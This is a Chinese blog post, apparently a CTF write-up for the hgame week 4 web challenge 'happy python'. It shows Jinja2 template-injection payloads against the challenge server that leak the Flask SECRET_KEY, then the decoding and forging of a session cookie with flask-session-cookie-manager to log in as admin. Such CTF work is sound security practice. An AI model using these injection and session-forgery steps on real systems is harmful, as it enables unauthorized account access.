

hgame week4-writeup

原创

wuerror 于 2019-02-23 20:57:48 发布 458 收藏

分类专栏: [ctf](#) 文章标签: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_40871137/article/details/87897078

版权



[ctf](#) 专栏收录该内容

28 篇文章 1 订阅

订阅专栏

week4-writeup

wuerror

web

happy python

这题首先百度发现应该是flask/jinja2模板注入,

```
http://118.25.18.223:3001/{{1+1}} //输出hello 2, 确定是模板注入
http://118.25.18.223:3001/{{config}}
```

LOGOUT

```
</Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*',
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None,
'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH':
None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None
'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http'
```

Encryption Encoding SQL XSS Other Chrome BackBar [HackBar](#) [Contribute me!](#) HackBz

看文章继续试验注入

```
{{'.__class__.__mro__}}
```

发现可以, 觉得大概是沙箱逃逸了, 但努力两天继续下去发现()似乎被过滤了无法像文章说的那样找到file这些基本类。于是转向另一篇hctf的博文试验伪造session登陆的思路。

在之前注入{{config}}时我们已经得到了secret_key, 抓取session利用GitHub的session_cookie_manager.py解密session, 发现user_id是个数字, 把它改成admin加密后访问失败。又注册两个新账号whd1/whd2发现其user_id为164/165, 猜测admin的user_id为01.成功得到flag

```
E:\Firefox_download\flask-session-cookie-manager-master>activate py2
(py2) E:\Firefox_download\flask-session-cookie-manager-master>python2.exe session_cookie_manager.py decode -s "9RxdzNwq7!n0oK3*" -c ".eJwlj8GqAjEMAP-1Zw9pmqSpP70kaYIiK0zq6fH-3QWvAwMzf2XLPY5
pub73TlzKdl_lWpBrhZpuDXOu/GPlkhiiA80ZVWuApE8sRu24gHwgeKdI8xyBxNyEVTx7BCn7C50JAmTWhWAnGZDUAxBx0Q3Yos-dTnGLJfix5/b_WI591jSkQKuTjQF71Gq9C7sBnywM69xLjy9D5H7L8J1PL_BenxP0w.XGa6ig.yNtT9pmN3FkBe
43ASdmHS28kFps
{'u_csrf_token': 'a844480fd5e2cd4c8e3107765aa25923572cd2df', 'u_fresh': True, 'u_user_id': 'u'28', 'u_id': 'u'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6
ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb'}
```

https://blog.csdn.net/weixin_40871137



Oh ! you get the flag
hgame{Qu_bu_la1_m1ng_z1_14}

https://blog.csdn.net/weixin_40871137

资料: <https://www.cnblogs.com/aossin/p/10083937.html>

<https://www.freebuf.com/articles/web/98928.html>